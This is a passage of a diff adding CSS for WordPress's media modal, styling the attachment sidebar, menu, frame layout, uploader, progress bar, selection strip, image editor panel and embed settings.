+.attachment-details .setting input[type="radio"],
+.attachment-details .field input[type="radio"] {
+	float: none;
+	margin: 8px 3px 0;
+	padding: 0;
+}
+
+.media-sidebar .setting span,
+.attachment-details .setting span,
+.compat-item label span {
+	float: left;
+	min-height: 22px;
+	padding-top: 8px;
+	line-height: 16px;
+	font-weight: normal;
+	color: #666;
+}
+
+.compat-item label span  {
+	text-align: right;
+}
+
+.media-sidebar .setting input[type="text"],
+.media-sidebar .setting input[type="password"],
+.media-sidebar .setting input[type="email"],
+.media-sidebar .setting input[type="number"],
+.media-sidebar .setting input[type="search"],
+.media-sidebar .setting input[type="tel"],
+.media-sidebar .setting input[type="url"],
+.media-sidebar .setting textarea,
+.media-sidebar .setting .value,
+.attachment-details .setting input[type="text"],
+.attachment-details .setting input[type="password"],
+.attachment-details .setting input[type="email"],
+.attachment-details .setting input[type="number"],
+.attachment-details .setting input[type="search"],
+.attachment-details .setting input[type="tel"],
+.attachment-details .setting input[type="url"],
+.attachment-details .setting textarea,
+.attachment-details .setting .value {
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+	margin: 1px;
+	width: 65%;
+	float: right;
+}
+
+.media-sidebar .setting .value,
+.attachment-details .setting .value {
+	margin: 0 1px;
+	text-align: left;
+}
+
+.media-sidebar .setting textarea,
+.attachment-details .setting textarea,
+.compat-item .field textarea {
+	height: 62px;
+	resize: vertical;
+}
+
+.media-sidebar select,
+.attachment-details select {
+	margin-top: 3px;
+}
+
+.compat-item {
+	float: left;
+	width: 100%;
+	overflow: hidden;
+}
+
+.compat-item table {
+	width: 100%;
+	table-layout: fixed;
+	border-spacing: 0;
+	border: 0;
+}
+
+.compat-item tr {
+	padding: 2px 0;
+	display: block;
+	overflow: hidden;
+}
+
+.compat-item .label,
+.compat-item .field {
+	display: block;
+	margin: 0;
+	padding: 0;
+}
+
+.compat-item .label {
+	min-width: 30%;
+	margin-right: 4%;
+	float: left;
+	text-align: right;
+}
+
+.compat-item .label span {
+	display: block;
+	width: 100%;
+}
+
+.compat-item .field {
+	float: right;
+	width: 66%;
+}
+
+.compat-item .field input[type="text"],
+.compat-item .field input[type="password"],
+.compat-item .field input[type="email"],
+.compat-item .field input[type="number"],
+.compat-item .field input[type="search"],
+.compat-item .field input[type="tel"],
+.compat-item .field input[type="url"] {
+	width: 100%;
+	margin: 0;
+}
+
+.sidebar-for-errors .attachment-details,
+.sidebar-for-errors .compat-item,
+.sidebar-for-errors .media-sidebar .media-progress-bar,
+.sidebar-for-errors .upload-details {
+	display: none !important;
+}
+
+/**
+ * Menu
+ */
+.media-menu {
+	position: absolute;
+	top: 0;
+	left: 0;
+	right: 0;
+	bottom: 0;
+	margin: 0;
+	padding: 10px 0;
+	background: #f3f3f3;
+	border-right-width: 1px;
+	border-right-style: solid;
+	border-right-color: #ccc;
+	-webkit-user-select: none;
+	-moz-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.media-menu > a {
+	display: block;
+	position: relative;
+	padding: 8px 20px;
+	margin: 0;
+	line-height: 18px;
+	font-size: 14px;
+	color: #0074a2;
+	text-decoration: none;
+}
+
+.media-menu > a:hover {
+	color: #21759B;
+	background: rgba( 0, 0, 0, 0.04 );
+}
+
+.media-menu > a:active {
+	outline: none;
+}
+
+.media-menu .active,
+.media-menu .active:hover {
+	color: #222;
+	font-weight: bold;
+}
+
+.media-menu .separator {
+	height: 0;
+	margin: 12px 20px;
+	padding: 0;
+	border-top: 1px solid #ddd;
+}
+
+/**
+ * Menu
+ */
+.media-router {
+	position: relative;
+	padding: 0 6px;
+	margin: 0;
+	clear: both;
+	-webkit-user-select: none;
+	-moz-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.media-router a {
+	-webkit-transition: none;
+	transition: none;
+}
+
+.media-router > a {
+	position: relative;
+	float: left;
+	padding: 8px 10px 9px;
+	margin: 0;
+	height: 18px;
+	line-height: 18px;
+	font-size: 14px;
+	text-decoration: none;
+}
+
+.media-router > a:last-child {
+	border-right: 0;
+}
+
+.media-router > a:active {
+	outline: none;
+}
+
+.media-router .active,
+.media-router .active:hover {
+	color: #333;
+}
+
+.media-router .active,
+.media-router > a.active:last-child {
+	margin: -1px -1px 0;
+	background: #fff;
+	border: 1px solid #ddd;
+	border-bottom: none;
+}
+
+.media-router .active:after {
+	display: none;
+}
+
+/**
+ * Frame
+ */
+.media-frame {
+	overflow: hidden;
+	position: absolute;
+	top: 0;
+	left: 0;
+	right: 0;
+	bottom: 0;
+}
+
+.media-frame-menu {
+	position: absolute;
+	top: 0;
+	left: 0;
+	bottom: 0;
+	width: 200px;
+	z-index: 150;
+}
+
+.media-frame-title {
+	position: absolute;
+	top: 0;
+	left: 200px;
+	right: 0;
+	height: 50px;
+	z-index: 200;
+}
+
+.media-frame-router {
+	position: absolute;
+	top: 50px;
+	left: 200px;
+	right: 0;
+	height: 36px;
+	z-index: 200;
+}
+
+.media-frame-content {
+	position: absolute;
+	top: 84px;
+	left: 200px;
+	right: 0;
+	bottom: 61px;
+	height: auto;
+	width: auto;
+	margin: 0;
+	overflow: auto;
+	background: #fff;
+	border-top: 1px solid #ddd;
+	border-bottom: 1px solid #ddd;
+}
+
+.media-frame-toolbar {
+	position: absolute;
+	left: 200px;
+	right: 0;
+	bottom: 0;
+	height: 60px;
+	z-index: 100;
+}
+
+.media-frame.hide-menu .media-frame-title,
+.media-frame.hide-menu .media-frame-router,
+.media-frame.hide-menu .media-frame-toolbar,
+.media-frame.hide-menu .media-frame-content {
+	left: 0;
+}
+
+.media-frame.hide-menu .media-frame-menu {
+	left: -200px;
+}
+
+.media-frame.hide-toolbar .media-frame-content {
+	bottom: 0;
+}
+
+.media-frame.hide-toolbar .media-frame-toolbar {
+	bottom: -61px;
+}
+
+.media-frame.hide-router .media-frame-content {
+	top: 50px;
+}
+
+.media-frame.hide-router .media-frame-router {
+	display: none;
+}
+
+.media-frame.hide-router .media-frame-title {
+	border-bottom: 1px solid #dfdfdf;
+	-webkit-box-shadow: 0 4px 4px -4px rgba( 0, 0, 0, 0.1 );
+	box-shadow: 0 4px 4px -4px rgba( 0, 0, 0, 0.1 );
+}
+
+.media-frame-title .dashicons {
+	display: none;
+}
+
+.media-frame-title h1 {
+	padding: 0 16px;
+	font-size: 22px;
+	line-height: 50px;
+	margin: 0;
+}
+
+.media-frame-title .suggested-dimensions {
+	font-size: 14px;
+	float: right;
+	margin-right: 20px;
+}
+
+.media-frame-content .crop-content {
+	height: 100%;
+}
+
+.media-frame-content .crop-content .crop-image {
+	display: block;
+	margin: auto;
+	max-width: 100%;
+	max-height: 100%;
+}
+
+.media-frame-content .crop-content .upload-errors
+{
+	position: absolute;
+	width: 300px;
+	top: 50%;
+	left: 50%;
+	margin-left: -150px;
+	margin-right: -150px;
+	z-index: 600000;
+}
+
+/**
+ * Iframes
+ */
+.media-frame .media-iframe {
+	overflow: hidden;
+}
+
+.media-frame .media-iframe,
+.media-frame .media-iframe iframe {
+	height: 100%;
+	width: 100%;
+	border: 0;
+}
+
+/**
+ * Attachment Browser Filters
+ */
+.media-frame select.attachment-filters {
+	margin-top: 11px;
+	margin-right: 2%;
+	max-width: 47%;
+}
+
+/**
+ * Search
+ */
+.media-frame .search {
+	margin-top: 11px;
+	padding: 4px;
+	font-size: 13px;
+	color: #464646;
+	font-family: "Open Sans", sans-serif;
+	-webkit-appearance: none;
+}
+
+.media-toolbar-primary .search {
+	max-width: 100%;
+}
+
+/**
+ * Attachments
+ */
+.attachments {
+	margin: 0;
+	-webkit-overflow-scrolling: touch;
+}
+
+/**
+ * Attachment
+ */
+.attachment {
+	position: relative;
+	float: left;
+	padding: 8px;
+	margin: 0;
+	color: #464646;
+	cursor: pointer;
+	list-style: none;
+	text-align: center;
+	-webkit-user-select: none;
+	-moz-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+	width: 25%;
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.attachment:focus,
+.selected.attachment:focus,
+.attachment.details:focus {
+	-webkit-box-shadow:
+		inset 0 0 2px 3px #fff,
+		inset 0 0 0 7px #5b9dd9;
+	box-shadow:
+		inset 0 0 2px 3px #fff,
+		inset 0 0 0 7px #5b9dd9;
+	outline: none;
+}
+
+.selected.attachment {
+	-webkit-box-shadow:
+		inset 0 0 0 5px #fff,
+		inset 0 0 0 7px #ccc;
+	box-shadow:
+		inset 0 0 0 5px #fff,
+		inset 0 0 0 7px #ccc;
+}
+
+.attachment.details {
+	-webkit-box-shadow:
+		inset 0 0 0 3px #fff,
+		inset 0 0 0 7px #1e8cbe;
+	box-shadow:
+		inset 0 0 0 3px #fff,
+		inset 0 0 0 7px #1e8cbe;
+}
+
+.attachment-preview {
+	position: relative;
+	-webkit-box-shadow:
+		inset 0 0 15px rgba( 0, 0, 0, 0.1 ),
+		inset 0 0 0 1px rgba( 0, 0, 0, 0.05 );
+	box-shadow:
+		inset 0 0 15px rgba( 0, 0, 0, 0.1 ),
+		inset 0 0 0 1px rgba( 0, 0, 0, 0.05 );
+	background: #eee;
+	cursor: pointer;
+}
+
+.attachment-preview:before {
+	content: '';
+	display: block;
+	padding-top: 100%;
+}
+
+.attachment .icon {
+	margin: 0 auto;
+	overflow: hidden;
+}
+
+.attachment .thumbnail {
+	overflow: hidden;
+	position: absolute;
+	top: 0;
+	right: 0;
+	bottom: 0;
+	left: 0;
+	opacity: 1;
+	-webkit-transition: opacity .1s;
+	transition: opacity .1s;
+}
+
+.attachment .portrait img {
+	max-width: 100%;
+}
+
+.attachment .landscape img {
+	max-height: 100%;
+}
+
+.attachment .thumbnail:after {
+	content: '';
+	display: block;
+	position: absolute;
+	top: 0;
+	left: 0;
+	right: 0;
+	bottom: 0;
+	-webkit-box-shadow: inset 0 0 0 1px rgba( 0, 0, 0, 0.1 );
+	box-shadow: inset 0 0 0 1px rgba( 0, 0, 0, 0.1 );
+	overflow: hidden;
+}
+
+/* @noflip */
+.attachment .thumbnail img {
+	top: 0;
+	left: 0;
+}
+
+/* @noflip */
+.attachment .thumbnail .centered {
+	position: absolute;
+	top: 0;
+	left: 0;
+	width: 100%;
+	height: 100%;
+	-webkit-transform: translate( 50%, 50% );
+	-ms-transform: translate(50%,50%); /* Fails with spaces?? Weird! */
+	transform: translate( 50%, 50% );
+}
+
+.attachment .thumbnail .centered img {
+	-webkit-transform: translate( -50%, -50% );
+	-ms-transform: translate(-50%,-50%);
+	transform: translate( -50%, -50% );
+}
+
+.attachment .thumbnail .centered img.icon {
+	-webkit-transform: translate( -50%, -70% );
+	-ms-transform: translate(-50%,-70%);
+	transform: translate( -50%, -70% );
+}
+
+.ie8 .attachment img.icon {
+	top: 20%;
+	position: relative;
+}
+
+.attachment .filename {
+	position: absolute;
+	left: 0;
+	right: 0;
+	bottom: 0;
+	overflow: hidden;
+	max-height: 100%;
+	word-wrap: break-word;
+	text-align: center;
+	font-weight: bold;
+	background: rgba( 255, 255, 255, 0.8 );
+	-webkit-box-shadow: inset 0 0 0 1px rgba( 0, 0, 0, 0.15 );
+	box-shadow: inset 0 0 0 1px rgba( 0, 0, 0, 0.15 );
+}
+
+.attachment .filename div {
+	padding: 5px 10px;
+}
+
+.attachment .thumbnail img {
+	position: absolute;
+}
+
+.attachment .close {
+	display: block;
+	position: absolute;
+	top: 5px;
+	right: 5px;
+	height: 22px;
+	width: 22px;
+	padding: 0;
+	font-size: 20px;
+	line-height: 20px;
+	text-align: center;
+	text-decoration: none;
+	color: #464646;
+	background-color: #fff;
+	background-position: -96px 4px;
+	border-width: 0;
+	-webkit-border-radius: 3px;
+	border-radius: 3px;
+	-webkit-box-shadow: 0 0 0 1px rgba( 0, 0, 0, 0.3 );
+	box-shadow: 0 0 0 1px rgba( 0, 0, 0, 0.3 );
+	-webkit-transition-duration: none;
+	transition-duration: none;
+	-webkit-transition-property: none;
+	transition-property: none;
+}
+
+.attachment a.close:hover,
+.attachment a.close:focus {
+	-webkit-box-shadow: 0 0 0 1px rgba( 0, 0, 0, 0.6 );
+	box-shadow: 0 0 0 1px rgba( 0, 0, 0, 0.6 );
+	background-position: -36px 4px;
+
+}
+
+.attachment .check {
+	display: none;
+	height: 24px;
+	width: 24px;
+	position: absolute;
+	z-index: 10;
+	top: 0;
+	right: 0;
+	outline: none;
+	background: #eee;
+	-webkit-box-shadow: 0 0 0 1px #fff, 0 0 0 2px rgba( 0, 0, 0, 0.15 );
+	box-shadow: 0 0 0 1px #fff, 0 0 0 2px rgba( 0, 0, 0, 0.15 );
+}
+
+.attachment .check div {
+	background-position: -1px 0;
+	height: 15px;
+	width: 15px;
+	margin: 5px;
+}
+
+.attachment .check:hover div {
+	background-position: -40px 0;
+}
+
+.attachment.selected .check {
+	display: block;
+}
+
+.attachment.details .check,
+.attachment.selected .check:focus,
+.media-frame.mode-grid .attachment.selected .check {
+	background-color: #1e8cbe;
+	-webkit-box-shadow:
+		0 0 0 1px #fff,
+		0 0 0 2px #1e8cbe;
+	box-shadow:
+		0 0 0 1px #fff,
+		0 0 0 2px #1e8cbe;
+}
+
+.attachment.details .check div,
+.media-frame.mode-grid .attachment.selected .check div {
+	background-position: -21px 0;
+}
+
+.attachment.details .check:hover div,
+.attachment.selected .check:focus div,
+.media-frame.mode-grid .attachment.selected .check:hover div {
+	background-position: -60px 0;
+}
+
+.media-frame .attachment .describe {
+	position: relative;
+	display: block;
+	width: 100%;
+	margin: 0;
+	padding: 8px;
+	font-size: 12px;
+	-webkit-border-radius: 0;
+	border-radius: 0;
+}
+
+/**
+ * Attachments Browser
+ */
+.media-frame .attachments-browser {
+	position: relative;
+	width: 100%;
+	height: 100%;
+	overflow: hidden;
+}
+
+.attachments-browser .media-toolbar {
+	right: 300px;
+	height: 50px;
+}
+
+.attachments-browser.hide-sidebar .media-toolbar {
+	right: 0;
+}
+
+.attachments-browser .media-toolbar-primary > .media-button,
+.attachments-browser .media-toolbar-primary > .media-button-group,
+.attachments-browser .media-toolbar-secondary > .media-button,
+.attachments-browser .media-toolbar-secondary > .media-button-group {
+	margin: 11px 0;
+}
+
+.attachments-browser .attachments {
+	padding: 2px 8px 8px;
+}
+
+.attachments-browser .attachments,
+.attachments-browser .uploader-inline {
+	position: absolute;
+	top: 50px;
+	left: 0;
+	right: 300px;
+	bottom: 0;
+	overflow: auto;
+	outline: none;
+}
+
+.attachments-browser .uploader-inline.hidden {
+	display: none;
+}
+
+.uploader-inline .close {
+	background-color: transparent;
+	border: 0;
+	cursor: pointer;
+	height: 48px;
+	position: absolute;
+	right: 0;
+	text-align: center;
+	top: 0;
+	width: 50px;
+	z-index: 1;
+}
+
+.uploader-inline .close:before {
+	font: normal 30px/50px 'dashicons' !important;
+	color: #777;
+	display: inline-block;
+	content: '\f335';
+	font-weight: 300;
+}
+
+.attachments-browser.hide-sidebar .attachments,
+.attachments-browser.hide-sidebar .uploader-inline {
+	right: 0;
+	margin-right: 0;
+}
+
+.attachments-browser .instructions {
+	display: inline-block;
+	margin-top: 16px;
+	line-height: 18px;
+	font-size: 13px;
+	color: #666;
+	margin-right: 0.5em;
+}
+
+.attachments-browser .no-media {
+	padding: 2em 0 0 2em;
+}
+
+/**
+ * Progress Bar
+ */
+.media-progress-bar {
+	position: relative;
+	height: 10px;
+	width: 70%;
+	margin: 10px auto;
+	-webkit-border-radius: 10px;
+	border-radius: 10px;
+	background: #dfdfdf;
+	background: rgba( 0, 0, 0, 0.1 );
+}
+
+.media-progress-bar div {
+	height: 10px;
+	min-width: 20px;
+	width: 0;
+	background: #1e8cbe;
+	-webkit-border-radius: 10px;
+	border-radius: 10px;
+	-webkit-transition: width 300ms;
+	transition: width 300ms;
+}
+
+.media-uploader-status .media-progress-bar {
+	display: none;
+	width: 100%;
+}
+
+.uploading.media-uploader-status .media-progress-bar {
+	display: block;
+}
+
+.attachment-preview .media-progress-bar {
+	position: absolute;
+	top: 50%;
+	left: 15%;
+	width: 70%;
+	margin: -5px 0 0 0;
+}
+
+.media-uploader-status {
+	position: relative;
+	margin: 0 auto;
+	padding-bottom: 10px;
+	max-width: 400px;
+}
+
+.media-sidebar .media-uploader-status {
+	border-bottom: 1px solid #dfdfdf;
+}
+
+.uploader-inline .media-uploader-status h3 {
+	display: none;
+}
+
+.media-uploader-status .upload-details {
+	display: none;
+	font-size: 12px;
+	color: #666;
+}
+
+.uploading.media-uploader-status .upload-details {
+	display: block;
+}
+
+.media-uploader-status .upload-detail-separator {
+	padding: 0 4px;
+}
+
+.media-uploader-status .upload-count {
+	color: #464646;
+}
+
+.media-uploader-status .upload-dismiss-errors,
+.media-uploader-status .upload-errors {
+	display: none;
+}
+
+.errors.media-uploader-status .upload-dismiss-errors,
+.errors.media-uploader-status .upload-errors {
+	display: block;
+}
+
+.media-uploader-status .upload-dismiss-errors {
+	text-decoration: none;
+}
+
+.media-sidebar .media-uploader-status .upload-dismiss-errors {
+	position: absolute;
+	top: 0;
+	right: 0;
+}
+
+.upload-errors .upload-error {
+	margin: 8px auto 0 auto;
+	padding: 8px;
+	border: 1px #c00 solid;
+	background: #ffebe8;
+	-webkit-border-radius: 3px;
+	border-radius: 3px;
+}
+
+.upload-errors .upload-error-label {
+	padding: 2px 4px;
+	margin-right: 8px;
+	font-weight: bold;
+	color: #fff;
+	background: #e00;
+	background-image: -webkit-gradient(linear, left top, left bottom, from(#e00), to(#a00));
+	background-image: -webkit-linear-gradient(top, #e00, #a00);
+	background-image: linear-gradient(to bottom, #e00, #a00);
+	-webkit-border-radius: 3px;
+	border-radius: 3px;
+}
+
+.upload-errors .upload-error-message {
+	display: block;
+	padding-top: 8px;
+	color: #b44;
+	word-wrap: break-word;
+}
+
+.uploader-window {
+	position: fixed;
+	top: 0;
+	left: 0;
+	right: 0;
+	bottom: 0;
+	background: rgba( 0, 86, 132, 0.9 );
+	z-index: 250000;
+	display: none;
+	text-align: center;
+	opacity: 0;
+	-webkit-transition: opacity 250ms;
+	transition: opacity 250ms;
+}
+
+.uploader-window-content {
+	position: absolute;
+	top: 10px;
+	left: 10px;
+	right: 10px;
+	bottom: 10px;
+	border: 1px dashed #fff;
+}
+
+.uploader-window h3 {
+	margin: -0.5em 0 0;
+	position: absolute;
+	top: 50%;
+	left: 0;
+	right: 0;
+	-webkit-transform: translateY( -50% );
+	-ms-transform: translateY(-50%);
+	transform: translateY( -50% );
+	font-size: 40px;
+	color: #fff;
+	padding: 0;
+}
+
+.uploader-window .media-progress-bar {
+	margin-top: 20px;
+	max-width: 300px;
+	background: transparent;
+	border-color: #fff;
+	display: none;
+}
+
+.uploader-window .media-progress-bar div {
+	background: #fff;
+}
+
+.uploading .uploader-window .media-progress-bar {
+	display: block;
+}
+
+.media-frame .uploader-inline {
+	margin-bottom: 20px;
+	padding: 0;
+	text-align: center;
+}
+
+.uploader-inline-content {
+	position: absolute;
+	top: 30%;
+	left: 0;
+	right: 0;
+}
+
+.uploader-inline-content .upload-ui {
+	margin: 2em 0;
+}
+
+.uploader-inline-content .post-upload-ui {
+	margin-bottom: 2em;
+}
+
+.uploader-inline .has-upload-message .upload-ui {
+	margin: 0 0 4em;
+}
+
+.uploader-inline h3 {
+	font-size: 20px;
+	line-height: 28px;
+	font-weight: 400;
+	margin: 0;
+}
+
+.uploader-inline .has-upload-message .upload-instructions {
+	font-size: 14px;
+	color: #464646;
+	font-weight: normal;
+}
+
+.uploader-inline .drop-instructions {
+	display: none;
+}
+
+.supports-drag-drop .uploader-inline .drop-instructions {
+	display: block;
+}
+
+.uploader-inline p {
+	font-size: 12px;
+	margin: 0.5em 0;
+}
+
+.uploader-inline .media-progress-bar {
+	display: none;
+}
+
+.uploading.uploader-inline .media-progress-bar {
+	display: block;
+}
+
+.uploader-inline .browser {
+	display: inline-block !important;
+}
+
+/**
+ * Selection
+ */
+.media-selection {
+	position: absolute;
+	top: 0;
+	left: 0;
+	right: 350px;
+	height: 60px;
+	padding: 0 0 0 16px;
+	overflow: hidden;
+	white-space: nowrap;
+}
+
+.media-selection .selection-info {
+	display: inline-block;
+	font-size: 12px;
+	height: 60px;
+	margin-right: 10px;
+	vertical-align: top;
+}
+
+.media-selection.empty,
+.media-selection.editing {
+	display: none;
+}
+
+.media-selection.one .edit-selection {
+	display: none;
+}
+
+.media-selection .count {
+	display: block;
+	padding-top: 12px;
+	font-size: 14px;
+	line-height: 20px;
+	font-weight: bold;
+}
+
+.media-selection .selection-info a {
+	display: block;
+	float: left;
+	padding: 1px 8px;
+	margin: 1px 8px 1px -8px;
+	line-height: 16px;
+	text-decoration: none;
+	border-right: 1px solid #dfdfdf;
+	color: #21759B;
+}
+
+.media-selection .selection-info a:hover {
+	background: #21759B;
+	color: #fff;
+	border-color: transparent;
+}
+
+.media-selection .selection-info a:last-child {
+	border-right: 0;
+	margin-right: 0;
+}
+
+.media-selection .selection-info .clear-selection {
+	color: red;
+}
+
+.media-selection .selection-info .clear-selection:hover {
+	background: red;
+}
+
+.media-selection .selection-view {
+	display: inline-block;
+	vertical-align: top;
+}
+
+.media-selection .attachments {
+	display: inline-block;
+	height: 48px;
+	margin: 6px;
+	padding: 0;
+	overflow: hidden;
+	vertical-align: top;
+}
+
+.media-selection .attachment {
+	width: 40px;
+	padding: 0;
+	margin: 4px;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+.media-selection .attachment .thumbnail {
+	top: 0;
+	right: 0;
+	bottom: 0;
+	left: 0;
+}
+
+.media-selection .attachment .icon {
+	width: 50%;
+}
+
+.media-selection .attachment-preview {
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	background: none;
+}
+
+.media-selection .attachment.selection.details .thumbnail {
+	-webkit-box-shadow:
+		0 0 0 1px #fff,
+		0 0 0 3px #1e8cbe;
+	box-shadow:
+		0 0 0 1px #fff,
+		0 0 0 3px #1e8cbe;
+}
+
+.media-selection:after {
+	content: '';
+	display: block;
+	position: absolute;
+	top: 0;
+	right: 0;
+	bottom: 0;
+	width: 25px;
+	background-image: -webkit-gradient(linear, right top, left top, from(rgba( 255, 255, 255, 1 )), to(rgba( 255, 255, 255, 0 )));
+	background-image: -webkit-linear-gradient(right, rgba( 255, 255, 255, 1 ), rgba( 255, 255, 255, 0 ));
+	background-image: linear-gradient(to left, rgba( 255, 255, 255, 1 ) ,  rgba( 255, 255, 255, 0 ) );
+}
+
+.media-selection .attachment .filename {
+	display: none;
+}
+
+/**
+ * Spinner
+ */
+.media-frame .spinner {
+	background: url(../images/spinner.gif) no-repeat;
+	-webkit-background-size: 20px 20px;
+	background-size: 20px 20px;
+	display: none;
+	opacity: 0.7;
+	filter: alpha(opacity=70);
+	width: 20px;
+	height: 20px;
+	margin: 0;
+}
+
+.media-toolbar .spinner {
+	margin-top: 14px;
+}
+
+/**
+ * Attachment Details
+ */
+.attachment-details {
+	position: relative;
+	overflow: auto;
+}
+
+.attachment-details .settings-save-status {
+	float: right;
+	text-transform: none;
+	z-index: 10;
+}
+
+.attachment-details .settings-save-status .spinner {
+	margin: 0 5px 0;
+}
+
+.attachment-details .settings-save-status .saved {
+	float: right;
+	display: none;
+}
+
+.attachment-details.save-waiting .settings-save-status .spinner,
+.attachment-details.save-complete .settings-save-status .saved {
+	display: block;
+}
+
+.attachment-info {
+	overflow: hidden;
+	min-height: 60px;
+	margin-bottom: 16px;
+	line-height: 18px;
+	color: #666;
+	border-bottom: 1px solid #ddd;
+	padding-bottom: 11px;
+}
+
+.attachment-info .filename {
+	font-weight: bold;
+	color: #464646;
+	word-wrap: break-word;
+}
+
+.attachment-info .thumbnail {
+	position: relative;
+	float: left;
+	max-width: 120px;
+	max-height: 120px;
+	margin-top: 5px;
+	margin-right: 10px;
+	margin-bottom: 5px;
+}
+
+.uploading .attachment-info .thumbnail {
+	width: 120px;
+	height: 80px;
+	-webkit-box-shadow: inset 0 0 15px rgba( 0, 0, 0, 0.1 );
+	box-shadow: inset 0 0 15px rgba( 0, 0, 0, 0.1 );
+}
+
+.uploading .attachment-info .media-progress-bar {
+	margin-top: 35px;
+}
+
+.attachment-info .thumbnail-image:after {
+	content: '';
+	display: block;
+	position: absolute;
+	top: 0;
+	left: 0;
+	right: 0;
+	bottom: 0;
+	-webkit-box-shadow: inset 0 0 0 1px rgba( 0, 0, 0, 0.15 );
+	box-shadow: inset 0 0 0 1px rgba( 0, 0, 0, 0.15 );
+	overflow: hidden;
+}
+
+.attachment-info .thumbnail img {
+	display: block;
+	max-width: 120px;
+	max-height: 120px;
+	margin: 0 auto;
+}
+
+.attachment-info .details {
+	float: left;
+	font-size: 12px;
+	max-width: 100%;
+}
+
+.attachment-info .edit-attachment,
+.attachment-info .refresh-attachment,
+.attachment-info .delete-attachment,
+.attachment-info .trash-attachment,
+.attachment-info .untrash-attachment {
+	display: block;
+	text-decoration: none;
+	white-space: nowrap;
+}
+
+.attachment-info .refresh-attachment,
+.attachment-details.needs-refresh .attachment-info .edit-attachment {
+	display: none;
+}
+
+.attachment-details.needs-refresh .attachment-info .refresh-attachment,
+.attachment-info .edit-attachment {
+	display: block;
+}
+
+.media-modal .delete-attachment,
+.media-modal .trash-attachment,
+.media-modal .untrash-attachment {
+	color: #bc0b0b;
+}
+
+.media-modal .delete-attachment:hover,
+.media-modal .trash-attachment:hover,
+.media-modal .untrash-attachment:hover {
+	color: red;
+}
+
+/**
+ * Attachment Display Settings
+ */
+.attachment-display-settings {
+	width: 100%;
+	float: left;
+	overflow: hidden;
+}
+
+.attachment-display-settings h4 {
+	margin: 1.4em 0 0.4em;
+}
+
+.collection-settings {
+	overflow: hidden;
+}
+
+.collection-settings .setting input[type="checkbox"] {
+	float: left;
+	margin-right: 8px;
+}
+
+.collection-settings .setting span {
+	min-width: inherit;
+}
+
+/**
+ * Image Editor
+ */
+.media-modal .imgedit-wrap {
+	position: static;
+}
+
+.media-modal .imgedit-wait {
+	height: auto !important;
+	right: 0;
+	bottom: 0;
+	left: 0;
+}
+
+.media-modal .imgedit-wrap .imgedit-panel-content {
+	padding: 16px;
+	position: absolute;
+	top: 0;
+	right: 282px;
+	bottom: 0;
+	left: 0;
+	overflow: auto;
+}
+
+.media-modal .imgedit-wrap .imgedit-settings {
+	background: #f3f3f3;
+	border-left: 1px solid #ddd;
+	padding: 0 16px 16px;
+	position: absolute;
+	top: 0;
+	right: 0;
+	bottom: 0;
+	width: 250px;
+	overflow: auto;
+}
+
+.media-modal .imgedit-group {
+	background: none;
+	border: none;
+	border-bottom: 1px solid #ddd;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	margin: 0;
+	margin-bottom: 16px;
+	padding: 0;
+	padding-bottom: 16px;
+	position: relative; /* RTL fix, #WP29352 */
+}
+
+.media-modal .imgedit-group:last-of-type {
+	border: none;
+	margin: 0;
+	padding: 0;
+}
+
+.media-modal .imgedit-group-top h3 {
+	text-transform: uppercase;
+	font-size: 12px;
+	color: #666;
+	margin: 0;
+	margin-top: 24px;
+}
+
+.media-modal .imgedit-group-top h3 a {
+	text-decoration: none;
+	color: #666;
+}
+
+.media-modal .imgedit-help-toggle {
+	margin-top: -2px;
+	cursor: pointer;
+	color: #666;
+}
+
+.media-modal .imgedit-help-toggled span.dashicons:before {
+	content: '\f142';
+}
+
+.media-modal .imgedit-group img {
+	margin-top: 5px;
+}
+
+.media-modal .imgedit-wrap div.updated {
+	margin: 0;
+	margin-bottom: 16px;
+}
+
+
+/**
+ * Embed from URL and Image Details
+ */
+.embed-url {
+	display: block;
+	position: relative;
+	padding: 16px;
+	margin: 0;
+	z-index: 250;
+	background: #fff;
+	font-size: 18px;
+}
+
+.media-frame .embed-url input {
+	font-size: 18px;
+	padding: 12px 14px;
+	width: 100%;
+	min-width: 200px;
+	-webkit-box-shadow: inset 2px 2px 4px -2px rgba( 0, 0, 0, 0.1 );
+	box-shadow: inset 2px 2px 4px -2px rgba( 0, 0, 0, 0.1 );
+}
+
+.media-frame .embed-url .spinner {
+	position: absolute;
+	top: 32px;
+	right: 26px;
+}
+
+.media-frame .embed-loading .embed-url .spinner {
+	display: block;
+}
+
+.embed-link-settings,
+.embed-media-settings {
+	position: absolute;
+	top: 70px;
+	left: 0;
+	right: 0;
+	bottom: 0;
+	padding: 16px 16px 32px;
+	overflow: auto;
+}
+
+.embed-preview img, .embed-preview iframe, .embed-preview embed {
+	max-width: 100%;
+}
+
+.embed-preview img {
+	height: auto;
+}
+
+.image-details .media-modal {
+	left: 140px;
+	right: 140px;
+}
+
+.image-details .media-frame-title,
+.image-details .media-frame-content,
+.image-details .media-frame-router {
+	left: 0;
+}
+
+.image-details .embed-media-settings {
+	top: 0;
+	overflow: visible;
+	padding: 0;
+}
+
+.image-details .embed-media-settings,
+.image-details .embed-media-settings div {
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+.image-details .column-settings {
+	background: #f3f3f3;
+	border-right: 1px solid #ddd;
+	min-height: 100%;
+	width: 55%;
+	position: absolute;
+	top: 0;
+	left: 0;
+}
+
+.image-details .column-settings h3 {
+	margin: 20px;
+	padding-top: 20px;
+	border-top: 1px solid #ddd;
+}
+
+.image-details .column-image {
+	width: 45%;
+	position: absolute;
+	left: 55%;
+	top: 0;
+}
+
+.image-details .image {
+	margin: 20px;
+}
+
+.image-details .image img {
+	max-width: 100%;
+	max-height: 500px;
+}
+
+.image-details .advanced-toggle {
+	color: #666;
+	text-decoration: none;
+	display: block;
+}
+
+.image-details .advanced-toggle:after {
+	font: normal 20px/1 'dashicons';
+	speak: none;
+	vertical-align: top;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	content: '\f140';
+	display: inline-block;
+	margin-top: -2px;
+}
+
+.image-details .advanced-visible .advanced-toggle:after {
